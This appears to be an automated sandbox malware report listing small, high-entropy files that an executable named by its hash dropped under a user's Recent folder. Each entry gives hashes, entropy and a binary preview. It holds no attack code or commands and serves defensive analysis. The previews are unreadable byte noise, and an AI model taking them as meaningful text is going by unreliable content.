Preview:	MOCYNa.FI.=.4...?._S(...+@...qB.../..1.Q...gx:g.J...'.q.k=.m(..O......N.Y....._.z;.%26k.n....5.>.e]~.r.z....72.D.my.C..~..Uh..8....H.h0.....X..(.....:dK....n..~0...O....@.ud.a...sk."I=.//N..t...!..z..6.5b...p...+..l..r..$.....W.;.S<....b..x....r1.d.Gw.%..}A.8..1...>`.......8.Rs....bT$.#T&....c...v...O....R&ror...;S./.+..d...2;B.b..^sSap..a...Z.....\|......?7j?.n..g!..U9..~..&.......U..@......9p...BE...7....BO.o..f..x.!j.. .../..#....C..t.3p.._...->9.:..!.X...!O_n.(...x...G8..1Q........i.I.{.U.S.....\N!...lQ..R..M.\....7..r[&.t...^.....o.<Y}.B.2...[D..[.<..\|.R.X.P.Q!..e6...`k.@.a.,...s.}.P..S.......3.Z?C..E.....=.......L..I}=..y.Ok.?..$...n...\/.d.Y~..9.tM.W[....!.......oO..s2.B,.....@....G..=..Z.#...Z..^.i\....\L^....x6..JJ..q...(o..<-....}.U..."!o&K..B.r...%...&...%i.]E.B.;LM.N..fo.y#.Kh.F....z...C.I..V$.^...c.YJ7S....'..?......CS....t(i...0..U.jb.&(...o@.:..j...E..i.H5...4........>J.B..J.H7....$..N j..ll...t..:.qR...i..... ...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846202595235264
Encrypted:	false
SSDEEP:	24:FbJU+Lr0EaoA7XOInH7FeXcSLYgvFZSFS59npHyrFPCqQ3e3zbD:FbttASAZoL9ZSm9gVCze3nD
MD5:	576971E77765C15173B4D44BFD967092
SHA1:	44238EBF1DE088AA8D18C903351CDBFB8443EC60
SHA-256:	DB5EDE01C4DE7BB2BFFDCD40F07C413D08FB65EEB2F772705D04304C3B66A6BC
SHA-512:	C586613399397C05734360A65C076B1CB0400F7D295EBC3EEA92C04D7FC8AB6D7DE80B739DCDC3797DDA7098333EB9390C5974CE4A293C4C14D4D32FF44C0D5E
Malicious:	false
Preview:	NVWZA.]......y....)......z.C@.[.c.. >."..Pn...K.w...7{5D....P4}.O3..q.....CI..#.....wsk.9..>` ....[.xo!0M.I.W..q<........I-'....W.MP..x..}..].3R...'._bV:o.......f.K..i..~.=W...+...r...N.}...-C.r...{.sF..R5...q..K...+..Y.....I.M.E...LL-...k...).Q..s....R..K.......Qe..&vG. .T..v..h.u..p..r>`p.......... .C......9!.d.N.$b.G.\$.-\|c.t..~..lCb{.D...^$..;Z.A}vnMG...@.f..(..`.tA..Q...c}G.......@...Z.9E.z....>Gd.xf.r.k.w".I(.3y].....Rs..\|z+.v....A.....f.5.........U...._t.../...I..%....WV@....q?.....b...v..uPD.J.......E.\|..^.,Guy.{.U.9.'.../Qk...5AH.F.T@"...[.?....vy:.......o ...mG..6Z~+...#..$r@.S....\|\...i....2]_(...O]\|.q..L..M,(.k.~'...y....T\|I..m.....:.'...f>:.1.v'.......v.+..fC:..R5.. t....h.l.L.D+...y....%._f.V.)..n..l..........#^.;..YL.h...1.v.4...0....7..V.n.,..-.....k.....,tjA5.+.....~.yM..]...p..`M_`N....CK...{Kd..p.I1.w....I...\|I8o.k........d.x...6].]..^.4...w...2....P....1.1...S...PA.C.$.TJ5 m...........h....~...*.aoA.....T..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWCXBPIUYI.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842368808146713
Encrypted:	false
SSDEEP:	24:E9pJk//T1k/cE54F+xirS1FBvohg/MAT7Cju9Zm7ZM7Xhz8Oi9gO3zbD:G0m/5Lx8QBv/FT2A4ZP913nD
MD5:	3DB4333AE459CD704A1D1464536F3F7B
SHA1:	5CF4709247FEDDFE7BFF25E6CD42AE8ECB2D8570
SHA-256:	6010E0332F6C967FE8F0AFE1EB844BDC1159A47C075FB4708DFABEEEC58BCD2F
SHA-512:	80B851684F16D6B5D1E980B33AEFE3E0786EFF7E6C2915ED8262F30CD7C1EC63F5B0B6ECC3EAACF6223DBDEE5AA4A67C86F875DEBC574939DEA30C821BF89FDD
Malicious:	false
Preview:	NWCXB..q@p.....^~....t.....(r.'.....E....3...8.]KG..?.o...9QV...X..`...$.X....w..n..N.jLN.zw....".....I,.c.G.]./T...'kU.5.Y...N.}.f.&y1P...qo.RMH....}W.....,.].....Q....L.[.y.9.G..^ ..Q....UJ..pA..Hwa..\|...7CgBI.I.CM`.........".t..xo#[....L@...1.7.YC^...=CL....q...?...B...:...2~..x.W.1.....".?.0....{+.n..y.....O...q.8...QH..u...z..2e.)....b..aS....>.......D .7..z&..............)... f.qZ.$.HJ.c.8.(_...7.SoF..Kpb2..&.....C...6U?.G.%.C}qu..c.....x>4.2..6..<Ea.......S...,.N...+fZ.].^Z..)PXFW.^XW.........s./.sm\|.....NC..a...%...........x5.v(.ed...qH+....P...rnJtY.[tq.....4_1.T2...........z\.....W....%.{....X....jSq.]..?aJ..6RI!T..'=.=:`.u.....g.........~zw.{....... ......&.......z2.\|..'..K...e..z...{.r.....j.{..]...MA..Gx..j..Y..)~.7....O...:...1..3\............Z.....WjA....N...5....rm.q96..D~J.\(.&..U..^..._3..SQJ.A.F$..ynp..../...p..p.=..=..^.0...A.T...IK&__.....C.....[.<.^......P..".~..OGPP...4o......].I.....z...w$..~..q.l.....5....R:.,h1..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWCXBPIUYI.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.879614493828691
Encrypted:	false
SSDEEP:	24:C5pBJB53+ACQBV3GJFzC9B/8D5cKOnly1Q2eGNeg9gGV/GTLNbIUp9xJQfjD4R2T:spfBt+A79B/8qUS2eG/9gu/0MKHQfjD7
MD5:	5A8F327AB96DE794841459688E1A9E25
SHA1:	F5944EEFC40243F2AE516F099237A35DD556917B
SHA-256:	AFD810E17C620334395A85DDD8F67A46D78729CE3B8E2F8D222366220C957411
SHA-512:	FFB6113E1921461FEA43CDC75CF497FBE671CA350F3108F98839093AD82B505D097DD6D89C4E9AA75B001DD9B8254483F09FA3DAEC821615C31D150AA53D05D1
Malicious:	false
Preview:	NWCXB'.?..s.<...?q.9.,..R.>....s.3".........li.....u..Z9D=...U.w...........hn...)5............f.R.[b....k......V.+E....=..R.......F.6..P[...G)a.}//...A....'<...g.....M....V..C.\|..R...1\|.U....(..+.7.u.x..b..t.k..{.... _h..........n].../...f..8.2.b.&.q..C...m.#.C.B,T..#....(fZB.K.z......lP...a..)X..a.e....+....Vr.y.,!....!......uh..J3........yb..d...:..k....R.S..K.e..b.6...MN....oM.t..M...Xf.F.../BBs_.k....v@._...q.]...{^=.s3.%..6..u.z.]....t8...x4T.3..v.vk..J...C.?.F.q........!.Z.....nx.!^..............>.v...S+j....m..2..`.d....\|..v..........I........t7o...X.F4..2.....2.....3^.../....m.mf..#.p)1?P.&f..;K.M:...1(T...........^.1;..U.E.y;..H......?...iF.....O.....2I..a&..(..qvw...qPND.u=.$..a.\|.......R@/.Z-...\|..<..."..........?yma.......u...O.0UO......".S.....w..pSP.....B.r{OG"\...c..t...d9S..h.O.#vt..n(.O.Z...v.!.{..%.q.Q....M`L.....?...ap...........\.C._..y.....Grog;.P.+...b,..9.6M.j.......k.%....Y.Y8./F>..,...m.@.d..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857763970737385
Encrypted:	false
SSDEEP:	24:tUIlPxGi7Ib48yP6qO8UrRh2T73ELDweqWSrE6YM5ViobEP3zbD:CIlJ8yP6qxUF4/3EHU4MniWEP3nD
MD5:	B01A847E53E8C7B311B6BC0AB53121B2
SHA1:	5BF1B1E09961C25D1E00E9E0E5F737F75DE6E9D7
SHA-256:	F745A2FC006439EFD480EB25061CBB7CF352AEA317713648DA5744B796B4695B
SHA-512:	AE2D131D6EFA7B63DD165DAEA9EE23557790D0E9414B3606B07A3965AF4CAADBA174A07AFB5A606A8FE0FB738A97CF5E1110805F4D5AFB3AB2D67FA145ADC06A
Malicious:	false
Preview:	NYMMP?....%......]5.V..o&.\.B......M......:X.]&.7.)..._..@G..}[F.....T.[...i...n.%...J[.)...S...>.....?O...j....s[..3...d{a3............P%....A..)~....j./].."...}D.....t..u#.{.Hd.h.H`..+.......\....#nR......"..$+ze...a.cI..4t..^....i.._..P...9.%'....@tk.ss.l.. .h.X.lQGB.!I.cp,....v....{.hv...Z.h......X.Hu.....m.8.....1z...~.+..G........8C.2..ZL..;.c..Y...8.-z.dA).J........y_b...T.N...........'.3..H...JgS.j...$....L..{.B.\v.2..7.w..r.!..W.....r..I..x... .>....,...$W.O...b..J....J.!.X............B..+$..?..<.tCz...r.!9n....:..j`....-...+.a,P..[S....z.X,..~..6...6(..m.-[.....e..e.w&&....ta..6.'.BH.d....#3....z.Eo.-...,...@4h%....y.d!o...t.R...{....4.....;...RR..^........:.R..B....O/]x...j.74.{..`bb#-..-_D.?.'Z.K..,B%e..5..N!..ULAabC.#.g...Y......,u....vo..F5.Jg.q...R.....<#.+.}..c.d..qkc...a,2.(79..k]m<f.6Op.....h.........{...(.....,f.4....Y.;.zU.j3,.xb..........:.Z...J.~*...../J4.w...n0oQ...E...65Os.....ApY<"....9.wk.....@7....\.F.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\OKWJNJSPWE.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862203585243067
Encrypted:	false
SSDEEP:	24:zBl0xxygeohTvhNrhtk/jUIS+e44W4WlhM7DKK+GLJG1X93zbD:9l0xgvaVQjUIxv4W4Wli7pLJa3nD
MD5:	4B6511B0A142732E749170C198FF10B7
SHA1:	FE4A0F06B15F447773A1A2C304E8420E487CA7C1
SHA-256:	B7886A98DF2BA502792A45FBBE3835FD931485E0FA319BA7339F23A20C71C174
SHA-512:	F3A8BDB6E4BCDFA6B8DA8A27747F91AE766B2869A0BF33B6E5FE971D185018B7DAC2A440958BE98E48A7767BF20540763B6531B4FCE7D47D843065791788DC69
Malicious:	false
Preview:	OKWJN...:...pw..C.]....B.k....L...w"M.v.....qm./kR4.R...r5A(...wW@d....Z....4;......;..k.@.H[....U5<.rp...3iQH3.x.... ..b....\|..0....G.&.n^p.`O...1i..%.4n\7?..J\|#...5m6.\u..v..2.......$.USn..........C.....3../...3B..DF....7O..>s.g.=.P...%std8.qq..h.H...S.i.\3>.........._....@.LX.Z....a.)._S.:.....H...wLLY.....]..c`......Q..e..D....@..`Rq...5....5s.T.."....s..wT......,+,O...VK..^...ji. .K .[.}....]....q.....:..8..Sv......H..........&..u...y........).^\|.....;,nI.pZ.t......?.b.ew..Q.."..".p._..;....f'-;.........+.5.v.G....R}+.....{..pjf.3b....s..WA.....{..b`Y......h.Q..+nFsIL.....d;\|:...K..^.KS..}....m.{S.XY.....(.:<q..."..aUB...+c.....2)7DH.K.l,.w...Xc(........k...Y.....(.....?.W}.<.B)..} ..`..pYjk..D...V.l^..%..w..._5..Tn.A..-(.*..:.....#.]...5...$y.h......[F+..i..R...2...42.,9.,...f.5.Q...M.g...\E6..d.j`........A&..e.y(FWE.=.x..P..n.u._##"...........l;]...eojj....Dp.p...R6..m..g.=.P.7(S..X.J.8..c{.z...@......7........%.......1..;....9.+o

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833396471165676
Encrypted:	false
SSDEEP:	24:VJjKah5SEpV/S9Idc+vaONjiodL74Skt2tYYV5S+03axM0ryyqc92bLEGc03p93D:VJRh5SEpcOdKON4Sxn03ax5F2bLjBZ9T
MD5:	EDB3E2A54A474332949CFA357CD1DFDE
SHA1:	25F76D37EBC361C48C1F06531AC6FF3C3A83827B
SHA-256:	FF21DC07843F6D5A195F05E95F3865E756B15FB0130617778C704774CEDC7B9D
SHA-512:	95FE3AF096625402AAEAA78E5C23656101D05F81EE92BAC34E9CCA9BD2E2FBB55FC347E54D779896CE045EB832C89B1CA73D17DF039AEC3B6DC5CADC6309F431
Malicious:	false
Preview:	PALRGi...Y.$e.....S{.\|.BN...xH..~`.}....._....1.....<..?F.d..b.3.)C.tR..j..._....B@. 3..R.Ke..Y..Eu.\y.....l.#^1.....<..;.L'u7L...(F.................c(.=....y&X..wF5..~...o..y.w...u.v....x.W._....e.....e.uxW._`i..L...Y....W.Q..7h.[0.zt:.......X.....5.1...x.._.....O.."P.X..E7>.4.lR+...q..L.....<Z^W.Y..].e.??...T.;p...js.aN.1..:.......D.."~,....C3..S.+...G..F .m......dq..S'.b..'..;.#..).d...a...+.CR.v:...l4.....3&l ......NA(.,j...d.9.O_...\|.7..9....o.....^....D<..].)..6c).,(....`.....M.u....."\|..6.U...g....SO5....ol...`.V.x..R..\..l..n...w16.....q^..B+F].......nf....Lyp.4A.m...O&a..$...^.>.\|i..p.......xW(...T.(i.....N.....p.....M.....w....4B3......2D._.1..p.,.;:3~......k..@O...&..a.\|e-...7...Z.la:..oH..M..l...6.....MA_.(..Z..K...4$.E. B......N...d.'.m..I......;m...s.,...f.Z.+*.H...DK..x.?H#..H......A,..P.(...2!w.}Ss\).y....[..Mi...{.zLSC...u...........]X..2t...-.e..8..$.e../=~....k.Hq.%..u.8....P...\F..(.V...Y]...p{b....A)..R..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWZOQIFCAN.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857964796324283
Encrypted:	false
SSDEEP:	24:5pXqeGGNHd1NDbE+PJYPIq1ZMihnovpShCRRLCcAGv+lLR6f/xQBF1Kyf3zbD:vaNobhbElL1GihovpSh2RLhnv+v6Xxqr
MD5:	06645D4C52FE10C9B30FBD6FF1C44B98
SHA1:	937DD1D7C366478CCF4EC8E43D593FB05DEF5F53
SHA-256:	73CF3D97098398887A69CF7EE723F74EBABEDC4AD79ACAF60855C49B9BA8D4B7
SHA-512:	6A4233E004C9373C5A525AA0E4631E217B9C8F62C13769C14A44C00C30279BEFAC6E542ED530C9AB3F17862D81439616043ABB85F724D45104162835BF80EBB3
Malicious:	false
Preview:	PWZOQ.......f...+v......}.n.6...v.xd.$.....\......z..;...>..)/..r.e......u.....u?.br.}JCp%q...t;...Q5.G.Q...+.....V73..'.e.!....c.h...ng....<q..w.......&<..i..L..,.S.:a.d.v.}9y.%...i]5d...uoOe.."'..>.`C...x..X.5Mh...MG.C.........:. .....Z&.....g-.a/..,..Y..+#.0.....I..Wk.<._..U-h...}w...!_>..DV....\|.....C..\|.o..G.+..E.A....>...D.9.k..W.x......v_.e........tn.....9.eSG....i\._d..&~.}`.j..`d}....b..q9@.9.4I.s.'..-.T.1...(....4G.H....g.e..Mt...3!.iu~.fJ...]K.......2O.?.@.....,......TJ.../y.B.M...7..,p......o.o..v..8.-6E..3#W..* .[.p.........mZ<I.5oi.?....G..^.X:../......z..d............@..`s.i.u....Y...y7Ez%.,.XE.4".k.=(..(....22........}y.......v..b.B.Q.........p`.. D&..^k.Y$C`cW..t..rz..._j.........q[..2.6..tE..t$.\...RX.J..q.w.R-r..._.. ......j,..zO.....@W....\.b...y&2.....\|.&9.3.H.m...+..HS..'.M..Fpt.y...yI...-L.O.I............fN..4../a...bT3M..6...%..*..&!a......2P.x..:.........K.)../._Y.,.+U..R.....T.v.x.G{.q..~.....3.O!

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855114919336486
Encrypted:	false
SSDEEP:	24:bRnUoLFgg80TaAdmZa8OHgPzJZ1ZlJ1agoHesY2awExnSxLEbrq9dJ3zbD:bW0Fl8uatgqzJXnHTaesx1E8VGUdJ3nD
MD5:	87416CFBEE3571D9C0E8E2295F6F8CCB
SHA1:	06A8FBEBDDCE17BB7FF39E93CAFAAC6028C073AA
SHA-256:	8BAD52E53950DF105A23D36BC8C93318175B75AA1E3149E0F2E89CF1B6B8B04C
SHA-512:	D3894B82FFF8ECC2B0D3247D4BC0B9F090B884341DABCC50D5CAA88F5072B61F74CCD94DC0E1CB2D711CC8335B2E3EB19B60864423E1243DEC2786ABB3E278F8
Malicious:	false
Preview:	QCOIL....X.P%.......X.?Y(..w...t,&.u\...=...K..;M..@..&...N92.(z...x.].ro{.O.h......?uzPyO.R 7....s.avE..bO{M.]..D..B\|M ..?VA......h y .\..&x..K.RI...}.F..N.9!R.q.h..XQiu!K....K.g?.L.y"D...~.E...7...e1b...-..qU0.H,..,..85..i.cx..$'q.7...<QCEOr..F"^sN..%h.=c.-.R.l.n.b:#..-..X.0.q&...;.Q....-....<.P9..:R...J..0.]\.d..Z..tx<E..k......l..Z...=...r..9O..P...%...>.j..^..]`..M.....g...j....2t....D:x...a+v.5.G..&...Z....y.m.W..wF....#.d.7.....B..:d>.I.>'$.RLqZ..p...^...^.$..j.....[H"..'..A....j.....x..z.D!'.2$..M........k...YP..+\|[.#3..(.-].0....yTj?......6..}..,......-.HJ...+..Qw^w...$.N..}e.6#$qk^.....AA.....>@SE.....x...K.......\|...y.<...N.b.[.).`q........\.x.........0....n..X.d^....D....>[z.n..4o.o..z..........-HL7.i...P1.Ww.!.1V....1x..21...l3E(z.{.....6..gq....:..T7."-...K6..D.W.'..r..Y....N..O...d'P.f]..../Z...8C_.#..r....Tt_..c...Ot.K.T..>..1...:.3.J.<y).k..!.%..p....p.N.-ER..9{'4.X.i?..`..4..&......V.\..r..Q.kU}....S.H.o.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TWGTYTLCKI.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857467606166128
Encrypted:	false
SSDEEP:	24:pQTxw1onHqOiZFC4/PH8c+XizFCqAbZZnfZ3/EsxIqp0vkP1SZ3M7963zbD:pQ1ZnVsC4ngXisdX/EoR83M563nD
MD5:	E9C3D679C9C6B0F88449C8202000B87D
SHA1:	D621620DF97068FA126B4E1132BF7489192E72A2
SHA-256:	A9021ABA57B2E897897D6939E00486B0A4568AE1E196F156B205D8121690F801
SHA-512:	E4B442DF02196C12AD2FCBEB22826A28D1DA1C290A66F8005E7DA77229EA3A75B05ABD8981001B1D699DF8429F262A758E2CB7768E900F64391027161BB5D5E9
Malicious:	false
Preview:	TWGTY.....RE...^-..~\.Do7g...o.5..5.!!F$....a....X..\]fTC...nG.)....@e...0..,....qrN.Rt...\..c...\.A.f....P4.YX.r..Y...~...ti.'....O.=v_NM...%xU...s...../...X.<.w...'..F...:n7....~..:JO.....w....WS...G..s....k.\|....2....!9..\.6.B./._7..=C....=....B....l..:.w5...Ii.p...........R..O..j.UQ.."nO...z...0.c..Eu...Q(I...7I.i..u=.zj)..!.....9R....J..Q........5...Ls......A...]....f"%...+%a.+....~......-......}..X.........D. ..n.07.db....p7q.{)..~CF.5HM.......Lg;...To...6}e.y,.......6c.I....#D.`.B..L,....5..y.%..`.....&....Q8r....).t...k.........'.?X&.5.A\|.._w.......Z.Sm..[...J[.K.._ .;I./..\|...h'..%.4.Z..q1"..N..qG..`}.@Pk.Gku.L.kV.~..b...{..!._.j.K.V.$$\|.[..-d8.\|...BiM.......s..D...J.._.+..p..q.>..L.....m.i....b..-.....n0w..v......7".. ....5.,..Y...P..2.<Z!7...V->...=..>-2fL.3....2.k.-54..E%....i.!../.-.p........c.z;..ac....:.\|.E4.'.<~m.%..fi..V....2e...<.k..$....BNP.>7.Pg,..).......&.U.,..N4....;\|.b..[.KyTw......! ..............Q*

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TWGTYTLCKI.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854076734124593
Encrypted:	false
SSDEEP:	24:9/C86g8bWIWB/RK1riIKekIYQoUHQ+9qjEiJGDcsYmD0xrIW1e3zbD:9l6gEk/RK1eIKO/1YIDcwDE1e3nD
MD5:	24167810D65733051F986548C1D925C1
SHA1:	71857E8D42239EEBCD0005366FCE57DB10F98559
SHA-256:	7F62EB2ECE87D513DBC6CF75D288829D574AD32399030D00C6F77E5536BB88D1
SHA-512:	005B52BAB472E9D912B6269EA3508699765C0ADCF3F1CA5A36F10141B15DAA29DBF6CE0E67EA571B0593FE3E4E2E728224720F61800F24EC26AA750750AD29EB
Malicious:	false
Preview:	TWGTY?.,.=..M4m...mSL...Nwz.).&>..;.D`..I....>j......F..{s..jL$.Z.........u..`....c.[.r..}$X./5P.\|......dt..._...d.:..v...0...7...f...rj.:(.V=[...f..E.O..Z.w.~....:.C.\...(.J?w...O(..b..i..........,....XIdK"...D...g.(..[..\|...K..Fs.=&...R.XA....g..I..S?.L...N.B...SD%..osd[.....>..,.:.^..<.q.....K..7K'..:.q4..+...Vl....`.[.(.....5.dp..av..".:.B.p8....O..I.L2.9.....<.q^...?...=.7...C}.Fp....fqE.{......".$..x.':......z..?...b.l.x#......S(....&.:.c=.m.T..4"x..W.O........{..b.X./..02M..Q......:..a..-........lr]j.R..p.@G....9=.E.V....,<.\.J.........).^...w...),.+._%.x.H.<...\|!~i.p,..(G.._.Z.f...".,^...wA......o.XW&.L.yH...(.*..N...J...6..y.y.L...F.....k.........^.J..>....c....r.L..g.8..G>.o.6I.\...vF.,..>=.F)-.u....l .....OK2......jth.../..dR.&.P1i..:..l6v..z.......$..D.S..xrxo....`.A]]_W.....<........."Q....U&.G.+..s].j F........R....c.,d.. \|.TPr.0.#....H..\.3....l'..2.\|T.=DUT...1....y.e^9...oK]......j..sjljE..v....e.....x....sb....4

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TWGTYTLCKI.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861766750830733
Encrypted:	false
SSDEEP:	24:qOT8K5huKfMQM3SmI9ULQT+IEeRkx7xBTonQiGIi+GJg1rdbSyKMX1wE3Zh3zbD:HvHwQYSPiLQTxEfBEQiGNJgHGyKm1wEf
MD5:	130BA44F9DB7C76DDA11EF991D47D496
SHA1:	663DEE2A7D21383274FAC42343C19CB0313EF48E
SHA-256:	85D8A4E78F8219BC47A6AC09E8FC26217B870373D0FF11A052FAF1573601FCF9
SHA-512:	991EBF2051E25DCCD7561152B71D1EB4EF534A1ECA53FC0B695215D532EC69BCFD334FF9D09BD5DFF6AB5D01BA9862194354154CBAB9F996C31ACA4EAC70E6C9
Malicious:	false
Preview:	TWGTY..{..-3D.....!+.8Ju.s.R...Q...O.=..v...Q...W.J.[.aw....P4.Z...=..b./dF.,N...~>.15.V.qu.T......D7.....=.....\|.....dB..h.l.<.....U[........l8\7.$'Q.4?<.v.J..%.Ve.......~W.K.q......)M)Ii.2..ik.Qu.j\|.....r.WT..A(.E..d.t......$Pa..%....Zx.y.1\.``...Z..K..zL...d.l...P..).../...<[.L...+,......y...._.....a..&>OT..s..x-...FPw..ml....p.>.......B)G.BP..'if=...^..8..8......$&.~N.rMF...'.1...G1..<.:2..{jT.A...l......G!..6...a6..........b%....(.+-......A[v..........n6.J.H...CL.Fa.8..8g@...y....(.......%.?.5.l.u.IM.vM"k..y......F0N.:.GK..K/....1..t.....1.}......!L$.cz..O.......rg.?@...wk-.e.,.N\|\|.i<R.=...'Q..<ye.V.o(..@...3..e..}q.:..d!fnn.....1......=.H.G..[.<..4f~}..0.....Y^..d5a....+.ySp..,...X.J.-X...d....bY..(..'s...-.A.V):n..e....F"eo......>...n...v.1.@.2u.w..X..N@..T.+.!v..........[K........L&v.p.M.u.R..#o.D...?.L..^..fp..1.PR.b..-m.M..":...`.JUk....Z.{0aPpb...zC.zHyG.......g....J....`..'....O..#".-..p.C..O.~.*P..@^E........y=..i.t7.WyrulU.#...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TZKYXLJEWD.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854289897622227
Encrypted:	false
SSDEEP:	24:XN9Fhkwb7Hjjs/YT5kXdYLS24WZGGE6o4dtPg/y1LQsiv4VVR50VlUS3zbD:d/pbjGYT50iLLo6outIyJQsiMR50zT3D
MD5:	8790DA690C7B272C3F943C998D27D9CB
SHA1:	2A18B24E3465BC28502627FC54989867BED14FA2
SHA-256:	9D0151E87D2022CC21B4F00B03638087D8DAEA0BB9699C08653F2E1020392915
SHA-512:	D0A488965EA5824B707C7A9F1BBF0DF834832D0B5345C99168902FF15D69D499A8F50BDD7FDE35824324152F90E4DF3CB84B9A49B361E21B5330B50ECC44EDC3
Malicious:	false
Preview:	TZKYX...jm.y8,._`Z....{...5...6..O....9..y.J...Uy.....St....iG.C.o.c.}Tq..HS0?.98.....=..5.B.E...;....G&._..l.F.i........?...O8vY...0=NJ..Q....G.l...;.CgO............6.jU..X........5.O.c..bZ=h...a.....I.....%...E,..Z.mH.....S.....G.t.>u...':`.m.F./J.....U..........>Y...jq....HE.u.A.i...k..b..d..bG...=E]N.&..;.7._._..zI.\|.IL.(G....W.FZ...l....C`............[3.4..5._.#F.fR...bKR..SV]..D..b...Y{Z...g...-'..A.....T.t.5...L..h....0KTz....3._.L5.p........:...8.I!..Q........H.<J...D....__o..U.... R....(`....v..R.@d....0...a....h...Yd..._..1Ba...x......XQ..^..r..5Y..E.,O..Vg0....E1$G{c.....f..jv.GC..sWJ.M...&^V.....D.....s....h,B......c;V`uA.y..p.%.IkA>.....E.D.(.?.gl_..O..c.......M..p.`...lD.._..."2..Rt.N...A.B.b.X..-]..+GF....&w.q.?.....I.@.0......#6.w.cR{1.VFf........$..\|..._/....\|..Hp4..F}L.Z..e.[me.;;+[.H.a.a.Q9..~.R)..G.CB.fbo?..zI.....oI.1~.....yQx....*@.0..-e.G...../.t0.3.:k...P.G..h..(+.S.y./..`N@...(o....h.P...i....,i b%.d..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UFTNOTWEML.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84681861230493
Encrypted:	false
SSDEEP:	24:BSl4fN3fjGm8ZST8HWTT47XYYz5pcZFFnUBEGygwMQYxFHAoYf692qex3zbD:BSaT8ZCxTT47nYfUBEGyg31gJ82qex3D
MD5:	091B2BA5651820989485CEE38E69276C
SHA1:	C16F8DADA960BDECC68D8A2ED8F944D8D4001517
SHA-256:	F552906436BA738D2CAB4858E379EEB7B62A5DB0DBCA3E6BA4ABB2EC359EDA33
SHA-512:	D3B80095AEA87EFE08E17A8D9E981BF287F175171E642801B595F3382F42A7F3E50D06A75D5DA2EF76CD8D654D638CB8B6F0DA6C7E71403F545D1C5663D2D0F6
Malicious:	false
Preview:	UFTNOq!.6.;e2.`..n.@`.. K...Vj...]...q.>...{.....j>.1....Qk..m.6N.a.'.I..4.........o$....dA....d...eT...O...H.M-.;..........{QJf:.v.8_...qt...;......@.(~..M..T.....y.p.Z.D..Z........0..Z2..-.e......}P......KJ7..a_.x.F-..."..d..Y..C..%.q!.3q...%BJ.........4....pB. ..9.....k......zi.QvR<.w.o..K.=wW....a.\|1.?.n.\|.......=....H.2m..D...yOb.k9....g.....G..r...[-mo.).t.?gd.....C.5.0......c...e...apT.cIU..>.9p7_c....O.Y..O.9...S...@...Ey<f.+Z......rL!...@.1.....nlO..u..k..W....=.=.}.R.....o.T.{.^.m.....m5...%.PM.).Y.Jh.>.n,...z.i@\|..$R.1.R.I...l.#...U..d..U.....;.....t\..V._..\|....Cza....Q.\....6.y.v.1E.p.......1.C ..\|.=#.y......B..\|.e.}.....$...q.15.5.P...Do...h.....R...5......B.V.b..%.vLvu..x..H.....g.. .i+....#zL.z8L..d..O] 